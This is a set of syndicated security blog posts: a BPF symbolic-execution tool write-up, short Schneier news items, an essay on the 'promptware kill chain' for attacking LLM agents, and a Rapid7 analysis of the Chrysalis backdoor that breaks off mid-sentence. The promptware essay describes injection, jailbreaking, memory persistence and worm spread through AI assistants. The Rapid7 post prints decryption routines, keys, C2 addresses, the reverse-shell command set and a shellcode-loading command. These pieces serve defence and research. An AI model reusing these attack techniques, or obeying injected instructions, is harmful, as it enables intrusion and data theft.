A common technique for exploring paths taken in a given program is called symbolic execution. For this technique we are giving input that can be used as variables, including the constraints. By knowing the outcome of a successful path we can orchestrate our tool to find all of these successful paths and display the end result to us in a contextualized format.

For this to work we will need to implement a small machine capable of keeping track of the state of things like constants, registers, and different boolean operators as an outcome of a condition that is being checked.

class BPFPacketCrafter:
    MIN_PKT_SIZE = 64           # Minimum packet size (Ethernet + IP + UDP headers)
    LINK_ETHERNET = "ethernet"  # DLT_EN10MB - starts with Ethernet header
    LINK_RAW = "raw"            # DLT_RAW - starts with IP header directly
    MEM_SLOTS = 16              # Number of scratch memory slots (M[0] to M[15])

    def __init__(self, ins: list[BPFInsn], pkt_size: int = 128, ltype: str = "ethernet"):
        self.instructions = ins
        self.pkt_size = max(self.MIN_PKT_SIZE, pkt_size)
        self.ltype = ltype

        # Symbolic packet bytes
        self.packet = [BitVec(f"pkt_{i}", 8) for i in range(self.pkt_size)]

        # Symbolic registers (32-bit)
        self.A = BitVecVal(0, 32)  # Accumulator
        self.X = BitVecVal(0, 32)  # Index register

        # Scratch memory M[0-15] (32-bit words)
        self.M = [BitVecVal(0, 32) for _ in range(self.MEM_SLOTS)]

With the above code we’ve covered most of the machine for keeping a state during the symbolic execution. There are of course more conditions we need to keep track of, but these are handled during the solving process. To handle an ADD instruction, the machine maps the BPF operation to a Z3 addition:

def _execute_ins(self, insn: BPFInsn):
    cls = insn.cls
    if cls == BPFClass.ALU:
        op = insn.op
        src_val = BitVecVal(insn.k, 32) if insn.src == BPFSrc.K else self.X
        if op == BPFOp.ADD:
            self.A = self.A + src_val

Luckily the BPF instruction set is only a small set of instructions that’s relatively easy to implement — only having two registers to keep track of is definitely a welcome constraint!

The overall working of this symbolic execution can be laid out in the following abstracted overview:

  • Initialize the “x” (index) and “a” (accumulator) registers to their base state.

  • Loop over the instructions from the path that was identified as a successful path;

    • Execute non-jump instructions as-is, keeping track of register states.

    • Determine if a jump instruction is encountered, and check if the branch should be taken.

  • Use the Z3 check() function to check if our condition has been satisfied with the given constraint (ACCEPT).

  • Convert the Z3 bitvector arrays into bytes.

  • Use scapy to construct packets of the converted bytes.

If we look at the constraints build by the Z3 solver we can trace the execution steps taken by Z3 to build the packet bytes:

[If(Concat(pkt_12, pkt_13) == 0x800,
    pkt_14 & 0xF0 == 0x40,
    True),
 If(Concat(pkt_12, pkt_13) == 0x800, pkt_14 & 0x0F >= 5, True),
 If(Concat(pkt_12, pkt_13) == 0x800, pkt_14 & 0x0F == 5, True),
 If(Concat(pkt_12, pkt_13) == 0x86DD,
    pkt_14 & 0xF0 == 0x60,
    True),
 0x86DD == ZeroExt(16, Concat(pkt_12, pkt_13)),
 0x11 == ZeroExt(24, pkt_20),
 0x35 == ZeroExt(16, Concat(pkt_56, pkt_57))]

The first part of the Z3 displayed constraints are the constraints added to ensure we’re building up a valid ethernet IP when dealing with link-layer BPF instructions. The “If” statements apply specific constraints based on which protocol is detected:

  • IPv4 Logic (0x0800):

    • pkt_14 & 240 == 64: Byte 14 is the start of the IP header. The 0xF0 mask isolates the high nibble (the Version field) to check if the version is 4 (0x40).

    • pkt_14 & 15 == 5: 15 (0x0F), isolating the low nibble (IHL – Internet Header Length). This mandates a header length of 5 (20 bytes), which is the standard size without options.

  • IPv6 Logic (0x86dd):

    • pkt_14 & 240 == 0x60: Check if the version field is version 6 (0x60)

We can observe the network packet values when we look at the second part where different values are being checked:

  • 0x86DD: Packet condition for IPv6 header.

  • 0x11: UDP protocol number.

  • 0x35: The destination port (53).

Next to the expected values we can see the byte offset of where it should exist in a given packet (e.g. pkt_12, pkt_13).

Crafting packets

Now that we’ve established which bytes should exist at specific offsets we can convert it into an actual network packet using scapy. If we generate a new packet from the bytes of our previous Z3 constraints we can clearly see what our packet would look like, and store this for further processing:

###[ Ethernet ]###
  dst       = 00:00:00:00:00:00
  src       = 00:00:00:00:00:00
  type      = IPv6                 <-- IPv6 Packet
###[ IPv6 ]###
     version   = 6
     tc        = 0
     fl        = 0
     plen      = 0
     nh        = UDP               <-- UDP Protocol
     hlim      = 0
     src       = ::
     dst       = ::
###[ UDP ]###
        sport     = 0
        dport     = domain         <-- Port 53
        len       = 0
        chksum    = 0x0

These newly crafted packets can in turn be used for further research or identifying the presence of these implants by scanning for these over the network. 

Try it yourself

Understanding what a specific BPF set of instructions is doing can be cumbersome and time-consuming work. The example used is only a total of sixteen instructions, but we’ve encountered samples that were over 200 instructions that would’ve taken at least a day to understand. By using the Z3 solver, we can now reduce this time to just seconds, and not only display the path to an accepted packet, but also the packet skeleton for this as well.

We have open-sourced the filterforge tool to help the community automate the deconstruction of BPF-based implants. You can find the source code, along with usage examples, on our GitHub repository.

By publishing this research and sharing our tool for reducing analysts’ time spent figuring out the BPF instructions, we hope to spark further research by others to expand on this form of automation.

Python Supply-Chain Compromise

Post Syndicated from Bruce Schneier original https://www.schneier.com/blog/archives/2026/04/python-supply-chain-compromise.html

This is news:

A malicious supply chain compromise has been identified in the Python Package Index package litellm version 1.82.8. The published wheel contains a malicious .pth file (litellm_init.pth, 34,628 bytes) which is automatically executed by the Python interpreter on every startup, without requiring any explicit import of the litellm module.

There are a lot of really boring things we need to do to help secure all of these critical libraries: SBOMs, SLSA, SigStore. But we have to do them.

Possible US Government iPhone Hacking Tool Leaked

Post Syndicated from Bruce Schneier original https://www.schneier.com/blog/archives/2026/04/possible-us-government-iphone-hacking-tool-leaked.html

Wired writes (alternate source):

Security researchers at Google on Tuesday released a report describing what they’re calling “Coruna,” a highly sophisticated iPhone hacking toolkit that includes five complete hacking techniques capable of bypassing all the defenses of an iPhone to silently install malware on a device when it visits a website containing the exploitation code. In total, Coruna takes advantage of 23 distinct vulnerabilities in iOS, a rare collection of hacking components that suggests it was created by a well-resourced, likely state-sponsored group of hackers.

[…]

Coruna’s code also appears to have been originally written by English-speaking coders, notes iVerify’s cofounder Rocky Cole. “It’s highly sophisticated, took millions of dollars to develop, and it bears the hallmarks of other modules that have been publicly attributed to the US government,” Cole tells WIRED. “This is the first example we’ve seen of very likely US government tools­based on what the code is telling us­spinning out of control and being used by both our adversaries and cybercriminal groups.”

TechCrunch reports that Coruna is definitely of US origin:

Two former employees of government contractor L3Harris told TechCrunch that Coruna was, at least in part, developed by the company’s hacking and surveillance tech division, Trenchant. The two former employees both had knowledge of the company’s iPhone hacking tools. Both spoke on condition of anonymity because they weren’t authorized to talk about their work for the company.

It’s always super interesting to see what malware looks like when it’s created through a professional software development process. And the TechCrunch article has some speculation as to how the US lost control of it. It seems that an employee of L3Harris’s surviellance tech division, Trenchant, sold it to the Russian government.

Apple’s Camera Indicator Lights

Post Syndicated from Bruce Schneier original https://www.schneier.com/blog/archives/2026/03/apples-camera-indicator-lights.html

A thoughtful review of Apple’s system to alert users that the camera is on. It’s really well-designed, and important in a world where malware could surreptitiously start recording.

The reason it’s tempting to think that a dedicated camera indicator light is more secure than an on-display indicator is the fact that hardware is generally more secure than software, because it’s harder to tamper with. With hardware, a dedicated hardware indicator light can be connected to the camera hardware such that if the camera is accessed, the light must turn on, with no way for software running on the device, no matter its privileges, to change that. With an indicator light that is rendered on the display, it’s not foolish to worry that malicious software, with sufficient privileges, could draw over the pixels on the display where the camera indicator is rendered, disguising that the camera is in use.

If this were implemented simplistically, that concern would be completely valid. But Apple’s implementation of this is far from simplistic.

Phishing Attacks Against People Seeking Programming Jobs

Post Syndicated from Bruce Schneier original https://www.schneier.com/blog/archives/2026/02/phishing-attacks-against-people-seeking-programming-jobs.html

This is new. North Korean hackers are posing as company recruiters, enticing job candidates to participate in coding challenges. When they run the code they are supposed to work on, it installs malware on their system.

News article.

The Promptware Kill Chain

Post Syndicated from Bruce Schneier original https://www.schneier.com/blog/archives/2026/02/the-promptware-kill-chain.html

The promptware kill chain: initial access, privilege escalation, reconnaissance, persistence, command & control, lateral movement, action on objective

Attacks against modern generative artificial intelligence (AI) large language models (LLMs) pose a real threat. Yet discussions around these attacks and their potential defenses are dangerously myopic. The dominant narrative focuses on “prompt injection,” a set of techniques to embed instructions into inputs to LLM intended to perform malicious activity. This term suggests a simple, singular vulnerability. This framing obscures a more complex and dangerous reality. Attacks on LLM-based systems have evolved into a distinct class of malware execution mechanisms, which we term “promptware.” In a new paper, we, the authors, propose a structured seven-step “promptware kill chain” to provide policymakers and security practitioners with the necessary vocabulary and framework to address the escalating AI threat landscape.

In our model, the promptware kill chain begins with Initial Access. This is where the malicious payload enters the AI system. This can happen directly, where an attacker types a malicious prompt into the LLM application, or, far more insidiously, through “indirect prompt injection.” In the indirect attack, the adversary embeds malicious instructions in content that the LLM retrieves (obtains in inference time), such as a web page, an email, or a shared document. As LLMs become multimodal (capable of processing various input types beyond text), this vector expands even further; malicious instructions can now be hidden inside an image or audio file, waiting to be processed by a vision-language model.

The fundamental issue lies in the architecture of LLMs themselves. Unlike traditional computing systems that strictly separate executable code from user data, LLMs process all input—whether it is a system command, a user’s email, or a retrieved document—as a single, undifferentiated sequence of tokens. There is no architectural boundary to enforce a distinction between trusted instructions and untrusted data. Consequently, a malicious instruction embedded in a seemingly harmless document is processed with the same authority as a system command.

But prompt injection is only the Initial Access step in a sophisticated, multistage operation that mirrors traditional malware campaigns such as Stuxnet or NotPetya.

Once the malicious instructions are inside material incorporated into the AI’s learning, the attack transitions to Privilege Escalation, often referred to as “jailbreaking.” In this phase, the attacker circumvents the safety training and policy guardrails that vendors such as OpenAI or Google have built into their models. Through techniques analogous to social engineering—convincing the model to adopt a persona that ignores rules—to sophisticated adversarial suffixes in the prompt or data, the promptware tricks the model into performing actions it would normally refuse. This is akin to an attacker escalating from a standard user account to administrator privileges in a traditional cyberattack; it unlocks the full capability of the underlying model for malicious use.

Following privilege escalation comes Reconnaissance. Here, the attack manipulates the LLM to reveal information about its assets, connected services, and capabilities. This allows the attack to advance autonomously down the kill chain without alerting the victim. Unlike reconnaissance in classical malware, which is performed typically before the initial access, promptware reconnaissance occurs after the initial access and jailbreaking components have already succeeded. Its effectiveness relies entirely on the victim model’s ability to reason over its context, and inadvertently turns that reasoning to the attacker’s advantage.

Fourth: the Persistence phase. A transient attack that disappears after one interaction with the LLM application is a nuisance; a persistent one compromises the LLM application for good. Through a variety of mechanisms, promptware embeds itself into the long-term memory of an AI agent or poisons the databases the agent relies on. For instance, a worm could infect a user’s email archive so that every time the AI summarizes past emails, the malicious code is re-executed.

The Command-and-Control (C2) stage relies on the established persistence and dynamic fetching of commands by the LLM application in inference time from the internet. While not strictly required to advance the kill chain, this stage enables the promptware to evolve from a static threat with fixed goals and scheme determined at injection time into a controllable trojan whose behavior can be modified by an attacker.

The sixth stage, Lateral Movement, is where the attack spreads from the initial victim to other users, devices, or systems. In the rush to give AI agents access to our emails, calendars, and enterprise platforms, we create highways for malware propagation. In a “self-replicating” attack, an infected email assistant is tricked into forwarding the malicious payload to all contacts, spreading the infection like a computer virus. In other cases, an attack might pivot from a calendar invite to controlling smart home devices or exfiltrating data from a connected web browser. The interconnectedness that makes these agents useful is precisely what makes them vulnerable to a cascading failure.

Finally, the kill chain concludes with Actions on Objective. The goal of promptware is not just to make a chatbot say something offensive; it is often to achieve tangible malicious outcomes through data exfiltration, financial fraud, or even physical world impact. There are examples of AI agents being manipulated into selling cars for a single dollar or transferring cryptocurrency to an attacker’s wallet. Most alarmingly, agents with coding capabilities can be tricked into executing arbitrary code, granting the attacker total control over the AI’s underlying system. The outcome of this stage determines the type of malware executed by promptware, including infostealer, spyware, and cryptostealer, among others.

The kill chain was already demonstrated. For example, in the research “Invitation Is All You Need,” attackers achieved initial access by embedding a malicious prompt in the title of a Google Calendar invitation. The prompt then leveraged an advanced technique known as delayed tool invocation to coerce the LLM into executing the injected instructions. Because the prompt was embedded in a Google Calendar artifact, it persisted in the long-term memory of the user’s workspace. Lateral movement occurred when the prompt instructed the Google Assistant to launch the Zoom application, and the final objective involved covertly livestreaming video of the unsuspecting user who had merely asked about their upcoming meetings. C2 and reconnaissance weren’t demonstrated in this attack.

Similarly, the “Here Comes the AI Worm” research demonstrated another end-to-end realization of the kill chain. In this case, initial access was achieved via a prompt injected into an email sent to the victim. The prompt employed a role-playing technique to compel the LLM to follow the attacker’s instructions. Since the prompt was embedded in an email, it likewise persisted in the long-term memory of the user’s workspace. The injected prompt instructed the LLM to replicate itself and exfiltrate sensitive user data, leading to off-device lateral movement when the email assistant was later asked to draft new emails. These emails, containing sensitive information, were subsequently sent by the user to additional recipients, resulting in the infection of new clients and a sublinear propagation of the attack. C2 and reconnaissance weren’t demonstrated in this attack.

The promptware kill chain gives us a framework for understanding these and similar attacks; the paper characterizes dozens of them. Prompt injection isn’t something we can fix in current LLM technology. Instead, we need an in-depth defensive strategy that assumes initial access will occur and focuses on breaking the chain at subsequent steps, including by limiting privilege escalation, constraining reconnaissance, preventing persistence, disrupting C2, and restricting the actions an agent is permitted to take. By understanding promptware as a complex, multistage malware campaign, we can shift from reactive patching to systematic risk management, securing the critical systems we are so eager to build.

This essay was written with Oleg Brodt, Elad Feldman and Ben Nassi, and originally appeared in Lawfare.

The Chrysalis Backdoor: A Deep Dive into Lotus Blossom’s toolkit

Post Syndicated from Ivan Feigl original https://www.rapid7.com/blog/post/tr-chrysalis-backdoor-dive-into-lotus-blossoms-toolkit

Rapid7 Labs, together with the Rapid7 MDR team, has uncovered a sophisticated campaign attributed to the Chinese APT group Lotus Blossom. Active since 2009, the group is known for its targeted espionage campaigns primarily impacting organizations across Southeast Asia and more recently Central America, focusing on government, telecom, aviation, critical infrastructure, and media sectors.

Our investigation identified a security incident stemming from a sophisticated compromise of the infrastructure hosting Notepad++, which was subsequently used to deliver a previously undocumented custom backdoor, which we have dubbed Chrysalis.

lotus-blossom-telemetry.jpg
Figure 1: Telemetry on the custom backdoor samples

Beyond the discovery of the new implant, forensic evidence led us to uncover several custom loaders in the wild. One sample, “ConsoleApplication2.exe”, stands out for its use of Microsoft Warbird, a complex code protection framework, to hide shellcode execution. This blog provides a deep technical analysis of Chrysalis, the Warbird loader, and the broader tactic of mixing straightforward loaders with obscure, undocumented system calls.

Initial access vector

Forensic analysis conducted by the MDR team suggests that the initial access vector aligns with publicly disclosed abuse of the Notepad++ distribution infrastructure. While reporting references both plugin replacement and updater-related mechanisms, no definitive artifacts were identified to confirm exploitation of either. The only confirmed behavior is that execution of “notepad++.exe”  and subsequently “GUP.exe” preceded the execution of a suspicious process “update.exe” which was downloaded from 95.179.213.0.

Analysis of update.exe

lotus-blossom-execution-diagram-of-update-exe.png
Figure 2: Execution diagram of update.exe

Analysis of “update.exe” shows the file is actually an NSIS installer, a tool commonly used  by Chinese APT to deliver initial payload.

The following (Table 1) are the extracted NSIS installer files:

File name

Description

SHA-256 

[NSIS].nsi

NSIS Installation script

8ea8b83645fba6e23d48075a0d3fc73ad2ba515b4536710cda4f1f232718f53e

BluetoothService.exe

Renamed Bitdefender Submission Wizard used for DLL sideloading

2da00de67720f5f13b17e9d985fe70f10f153da60c9ab1086fe58f069a156924

BluetoothService

Encrypted shellcode

77bfea78def679aa1117f569a35e8fd1542df21f7e00e27f192c907e61d63a2e

log.dll

Malicious DLL sideloaded by BluetoothService.exe

3bdc4c0637591533f1d4198a72a33426c01f69bd2e15ceee547866f65e26b7ad

Installation script is instructed to create a new directory “Bluetooth” in “%AppData%” folder, copy the remaining files there, change the attribute of the directory to HIDDEN and execute BluetoothService.exe.

DLL sideloading

Shortly after the execution of BluetoothService.exe which is actually a renamed legitimate Bitdefender Submission Wizard that was abused for DLL sideloading, where a malicious log.dll was placed alongside the executable, causing it to be loaded instead of the legitimate library. Two exported functions from log.dll are called by Bitdefender Submission Wizard: LogInit and LogWrite.

LogInit and LogWrite – Shellcode load, decrypt, execute

LogInit  just loads BluetoothService into the memory of the running process.

LogWrite has a more sophisticated goal – to decrypt and execute the shellcode.

The decryption routine implements a custom runtime decryption mechanism used to unpack encrypted data in memory. It derives key material from previously calculated hash value and applies a stream‑cipher–like algorithm rather than standard cryptographic APIs. At a high level, the decryption routine relies on a linear congruential generator, with the standard constants 0x19660D and 0x3C6EF35F, combined with several basic data transformation steps to recover the plaintext payload.

Once decrypted, the payload replaces the original buffer and all temporary memory is released. Execution is then transferred to this newly decrypted stage, which is treated as executable code and invoked with a predefined set of arguments, including runtime context and resolved API information.

lotus-blossom-LogWrite-internals.png
Figure 3: LogWrite internals

IAT resolution

Log.dll implements an API hashing subroutine to resolve required APIs during execution, reducing the likelihood of detection by antivirus and other security solutions.

API hashing subroutine

The hashing algorithm will hash export names using FNV‑1a (fnv-1a hash 0x811C9DC5, fnv-1a prime 0x1000193 observed), then apply a MurmurHash‑style avalanche finalizer (murmur constant 0x85EBCA6B observed), and comparing the result to a salted target hash.

Analysis of the Chrysalis backdoor

The shellcode, once decrypted by log.dll, is a custom, feature-rich backdoor we’ve named “Chrysalis”. Its wide array of capabilities indicates it is a sophisticated and permanent tool, not a simple throwaway utility. It uses legitimate binaries to sideload a crafted DLL with a generic name, which makes simple filename-based detection unreliable. It relies on custom API hashing in both the loader and the main module, each with its own resolution logic. This is paired with layered obfuscation and a fairly structured approach to C2 communication. Overall, the sample looks like something that has been actively developed over time, and we’ll be keeping an eye on this family and any future variants that show up.

Decryption of the main module

Once the execution is passed to decrypted shellcode from log.dll, malware starts with decryption of the main module via a simple combination of XOR, addition and subtraction operations, with a hardcoded key gQ2JR&9;. See below the pseudocode of decryption routine:

char XORKey[8] = "gQ2JR&9;";
DWORD counter = 0;
DWORD pos = BufferPosition;

while (counter < size) {
    BYTE k = XORKey[counter & 7];
    BYTE x = encrypted[pos];

    x = x + k;
    x = x ^ k;
    x = x - k;

    decrypted[pos] = x;

    pos++;
    counter++;
}

XOR operation is performed 5 times in total, suggesting a section layout similar to PE format. Following the decryption, malware will proceed to yet another dynamic IAT resolution using LoadLibraryA to acquire a handle to Kernel32.dll and GetProcAddress. Once exports are resolved, the jump is taken to the main module.

Main module

The decrypted module is a reflective PE-like module that executes the MSVC CRT initialization sequence before transferring control to the program’s main entry point. Once in the Main function, the malware will dynamically load DLLs in the following order : oleaut32.dll, advapi32.dllshlwapi.dll, user32.dll, wininet.dll, ole32.dll and shell32.dll.

Names of targeted DLLs are constructed on the run, using two separate subroutines. These two subroutines implement a custom, position-dependent character obfuscation scheme. Each character is transformed using a combination of bit rotations, conditional XOR operations, and index-based arithmetic, ensuring that identical characters encrypt differently depending on their position. The second routine reverses this process at runtime, reconstructing the original plaintext string just before it is used. The purpose of these two functions is not only to conceal strings, but also to intentionally complicate static analysis and hinder signature-based detection.

After the DLL name is reconstructed, the Main module implements another, more sophisticated API hashing routine.

API hashing subroutine

lotus-blossom-API-hashing-diagram.jpg
Figure 4: API hashing diagram

The first difference between this and the API hashing routine used by the loader is that this subroutine accepts only a single argument: the hash of the target API. To obtain the DLL handle, the malware walks the PEB to reach the InMemoryOrderModuleList, then parses each module’s export table, skipping the main executable, until it resolves the desired API. Instead of relying on common hashing algorithms, the routine employs multi-stage arithmetic mixing with constants of MurmurHash-style finalization. API names are processed in 4-byte blocks using multiple rotation and multiplication steps, followed by a final diffusion phase before comparison with the supplied hash. This design significantly complicates static recovery of resolved APIs and reduces the effectiveness of traditional signature-based detection. As a fallback, the resolver supports direct resolution via GetProcAddress if the target hash is not found through the hashing method. The pointer to GetProcAddress is obtained earlier during the “main module preparation” stage.

lotus-blossom-API-hashing-internals.png
Figure 5: API hashing internals

Config decryption

The next step in the malware’s execution is to decrypt the configuration. Encrypted configuration is stored in the BluetoothService file at offset 0x30808 with the size of 0x980. Algorithm for the decryption is RC4 with the key qwhvb^435h&*7. This revealed the following information:

  • Command and Control (C2) urlhttps://api.skycloudcenter.com/a/chat/s/70521ddf-a2ef-4adf-9cf0-6d8e24aaa821
  • Name of the moduleBluetoothService
  • User agentMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.4044.92 Safari/537.36

Decrypted configuration doesn’t give much useful information besides the C2. The name of the module is too generic and the user agent belongs to Google Chrome browser. The URL resolves to 61.4.102.97, IP address based in Malaysia. At the time of the writing of this blog, no other file has been seen to communicate with this IP and URL.

Persistence and Command-Line Arguments

To determine the next course of action, malware checks command line arguments highlighted in Table 1 and chooses one of four potential paths – if the amount of the command-line arguments is greater than two, the process will exit. If there is no additional argument, persistence is set up primarily via service creation or registry as a fall back mechanism.

See Table 2 below:

Argument

Mode

Action

(None)

Installation

Installs persistence (Service or Registry) pointing to binary with -i flag, then terminates.

-i

Launcher

Spawns a new instance of itself with the -k flag via ShellExecuteA, then terminates.

-k

Payload

Skips installation checks and executes the main malicious logic (C2 & Shellcode).

With the expected arguments present, the malware proceeds to its primary functionality – to gather information about the infected asset and initiate the communication with C2.

Information gathering and C2 communication

A mutex Global\\Jdhfv_1.0.1 is registered to enforce single instance execution on the host. If it already exists, malware is terminated. If the check is clear, information gathering begins by querying for the following : current time, installed AVs, OS version, user name and computer name. Next, computer name, user name, OS version and string 1.01 are concatenated and the data are hashed using FNV-1A. This value is later turned into its decimal ascii representation and used most likely as a unique identifier of the infected host. 

Final buffer uses a dot as delimiter and follows this pattern: 

<UniqueID>.<ComputerName>.<UserName>.<OSVersion>.<127.0.0.1>.<AVs>.<DateAndTime>

The last piece of information added to the beginning of the buffer is a string 4Q. The buffer is then RC4 encrypted with the key vAuig34%^325hGV.

Following data encryption, the malware establishes an internet connection using previously mentioned user agent and C2 api.skycloudcenter.com over port 443. Data is then transferred via HttpSendRequestA using the POST method. Response from the server is then read to a temporary buffer which is later decrypted using the same key vAuig34%^325hGV.

Response and command processing

Note: C2  server was already offline during the initial analysis, preventing recovery of any network data. As a result, and due to the complexity of the malware, parts of the following analysis may contain minor inaccuracies.

The response from the C2 undergoes multiple checks before further processing. First, the HTTP response code is compared against the hardcoded value 200 (0xC8), indicating a successful request, followed by a validation of the associated WinInet handle to ensure no error occurred. The malware then verifies the integrity of the received payload and execution proceeds only if at least one valid structure is detected. Next, malware looks into the response data for a small tag to determine what to do next. Tag is used as a condition for a switch statement with 16 possible cases. The default case will simply set up a flag to TRUE. Setting up this flag will result in completely jumping out of the switch. Other switch cases includes following options:

Char representation

Hex representation

Purpose

4T

0x3454

Spawn interactive shell

4U

0x3455

Send ‘OK’ to C2

4V

0x3456

Create process

4W

0x3457

Write file to disk

4X

0x3458

Write chunk to open file

4Y

0x3459

Read & send data

4Z

0x345A

Break from switch

4\\

0x345C

Uninstall / Clean up

4]

0x345D

Sleep

4_

0x345F

Get info about logical drives

4`

0x3460

Enumerate files information

4a

0x3661

Delete file 

4b

0x3662

Create directory

4c

0x3463

Get file from C2

4d

0x3464

Send file to C2

4T – The malware implements a fully interactive cmd.exe reverse shell using redirected pipes. Incoming commands from the C2 are converted from UTF‑8 to the system OEM code page before being written to the shell’s standard input, while a dedicated thread continuously reads shell output, converts it from OEM encoding to UTF‑8 using GetOEMCP API, and forwards the result back to the C2.

4V – This option allows remote process execution by invoking CreateProcessW on a C2-supplied command line and relaying execution status back to the C2.

4W – This option implements a remote file write capability, parsing a structured response containing a destination path and file contents, converting encodings as necessary, writing the data to disk, and returning a formatted status message to the command-and-control server.

4X – Similar to the previous switch, it supports a remote file-write capability, allowing the C2 to drop arbitrary files on the victim system by supplying a UTF-8 filename and associated data blob.

4Y – Switch implements a remote file-read capability. It opens a specified file with, retrieves its size, reads the entire contents into memory, and transmits the data back to the C2

4\\ – The option implements a full self-removal mechanism. It deletes auxiliary payload files, removes persistence artifacts from both the Windows Service registry hive and the Run key, generates and executes a temporary batch file u.bat to delete the running executable after termination, and finally removes the batch script itself. 

4_ – Here malware enumerates information about logical drivers using GetLogicalDriveStringsA and GetDriveTypeA APIs and sends the information back to the C2.

4` – This switch option shares similarities with previously analyzed data exfiltration function – 4Y. However, its primary purpose differs. Instead of transmitting preexisting data, it enumerates files within a specified directory, collects per-file metadata (timestamps, size, and filename), serializes the results into a custom buffer format, and sends the aggregated listing to the C2.

4a – 4b – 4c – 4d – In the last 4 cases, malware implements a custom file transfer protocol over its C2 channel. Commands 4a and 4b act as control messages used to initialize file download and upload operations respectively, including file paths, offsets, and size validation. Once initialized, the actual data transfer occurs in a chunked fashion using commands 4c (download) and 4d (upload). Each chunk is wrapped in a fixed-size 40-byte response structure, validated for successful HTTP status and correct structure count before processing. Transfers continue until the C2 signals completion via a non-zero termination flag, at which point file handles and buffers are released.

Additional artifacts discovered on the infected host

During the initial forensics analysis of the affected asset, Rapid7’s MDR team observed execution of following command:

C:\ProgramData\USOShared\svchost.exe-nostdlib -run
C:\ProgramData\USOShared\conf.c

The retrieved folder “USOShared” from the infected asset didn’t contain svchost.exe but it contained “libtcc.dll” and “conf.c”. The hash of the binary didn’t match any known legitimate version but the command line arguments and associated “libtcc.dll” suggested that svchost.exe is in fact renamed Tiny-C-Compiler. To confirm this, we replicated the steps of the attacker successfully loaded shellcode from “conf.c” into the memory of “tcc.exe”, confirming our previous hypothesis.   

Analysis of conf.c

The C source file contains a fixed size (836) char buffer containing shellcode bytes which is later casted to a function pointer and invoked. The shellcode is consistent with 32-bit version of Metasploit’s block API.

The shellcode loads Wininet.dll using LoadLibraryA, resolves Internet-related APIs such as InternetConnectA and HttpSendRequestA, and downloads a file from api.wiresguard.com/users/admin. The file is read into a newly allocated and execution is then transferred to the start of the 2000-byte second-stage shellcode. 

lotus-blossom-hellcode-decryption-stub.png
Figure 6: Shellcode decryption stub

This stub is responsible for decrypting the next payload layer and transferring execution to it. It uses a rolling XOR-based decryption loop before jumping directly to the decrypted code.

A quick look into the decrypted buffer revealed an interesting blob with a repeated string CRAZY, hinting additional XORed layer, later confirmed by a quick test.  

lotus-blossom-repeated-XOR-key-CRAZY.png
Figure 7: Repeated XOR key “CRAZY”

lotus-blossom-decrypted-configuration.png
Figure 8: Decrypted configuration

Parsing of the decrypted configuration data confirms that retrieved shellcode is Cobalt Strike (CS) HTTPS beacon with http-get api.wiresguard.com/update/v1 and http-post api.wiresguard.com/api/FileUpload/submit urls.

Analysis of the initial evidence revealed a consistent execution chain: a loader embedding Metasploit block_api shellcode that downloads a Cobalt Strike beacon. The unique decryption stub and configuration XOR key CRAZY allowed us to pivot into an external hunt, uncovering additional loader variants.

lotus-blossom-Execution-flow.png
Figure 9: Execution flow followed by conf.c and other loaders

Variation of loaders and shellcode

In the last year, four similar files were uploaded to public repositories.

Loader 1

Loader 2

Loader 3

Loader 4 

Loader 

SHA-256

0a9b8df968df41920b6ff07785cbfebe8bda29e6b512c94a3b2a83d10014d2fd

e7cd605568c38bd6e0aba31045e1633205d0598c607a855e2e1bca4cca1c6eda

b4169a831292e245ebdffedd5820584d73b129411546e7d3eccf4663d5fc5be3

fcc2765305bcd213b7558025b2039df2265c3e0b6401e4833123c461df2de51a

Shellcode SHA-256

4c2ea8193f4a5db63b897a2d3ce127cc5d89687f380b97a1d91e0c8db542e4f8

078a9e5c6c787e5532a7e728720cbafee9021bfec4a30e3c2be110748d7c43c5

7add554a98d3a99b319f2127688356c1283ed073a084805f14e33b4f6a6126fd

7add554a98d3a99b319f2127688356c1283ed073a084805f14e33b4f6a6126fd

User Agent

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4472.114 Safari/537.36

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4472.114 Safari/537.36

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36

URL hosting CS beacon

http://59.110.7.32:8880/uffhxpSy

http://124.222.137.114:9999/3yZR31VK

https://api.wiresguard.com/users/system

https://api.wiresguard.com/users/system

CS http-get URL

http:// 59.110.7.32:8880/api/getBasicInfo/v1

http://124.222.137.114:9999/api/updateStatus/v1

https://api.wiresguard.com/api/getInfo/v1

https://api.wiresguard.com/api/getInfo/v1

CS http-post URL

http:// 59.110.7.32:8880/api/Metadata/submit

http://124.222.137.114:9999/api/Info/submit

https://api.wiresguard.com/api/Info/submit

https://api.wiresguard.com/api/Info/submit

From all the loaders we analyzed, Loader 3 piqued our interest for three reasons – shellcode encryption technique, execution and almost identical C2 to beacon that was found on the infected asset . All the previous samples used a pretty common technique to execute the shellcode – decrypt embedded shellcode in user space, change the protection of memory region  to executable state and invoke decrypted code via CreateThread / CreateRemoteThread, Loader 3 (original name “ConsoleApplication2.exe”) violates this approach. 

Analysis of Loader 3 – ConsoleApplication2.exe 

At the first glance, the logic of the sample is straightforward Load the DLL clipc.dll, overwrite first 0x490 bytes, change the protection to PAGE_EXECUTE_READ (0x20), and then invoke NtQuerySystemInformation. Two interesting notes to highlight here – bytes copied into the memory region of clipc.dll are not valid shellcode and NtquerySystemInformation is used to “Retrieve the specified system information”, not to execute code.

lotus-blossom-Snippet-from-ConsoleApplication2-exe.png
Figure 10: Snippet from ConsoleApplication2.exe
lotus-blossom-data-copied-clipc-dll.png
Figure 11: Data copied into clipc.dll

According to the official documentation, the first parameter of NtQuerySystemInformation is of type SYSTEM_INFORMATION_CLASS which specifies the category of system information to be queried.  During static analysis in IDA Pro, this parameter was initially identified as SystemExtendedProcessInformation|0x80 but looking for this value in MSDN and other public references didn’t provide any explanation on how the execution was achieved. But, searching for the original value passed to the function (0xB9) uncovered something interesting. The following blog by DownWithUp covers Microsoft Warbird, which could be described as an internal code protection and obfuscation framework . These resources confirm IDA misinterpretation of the argument which should be SystemCodeFlowTransition, a necessary argument to invoke Warbird functionality. Additionally, DownWithUp’s blog post mentioned the possible operations:

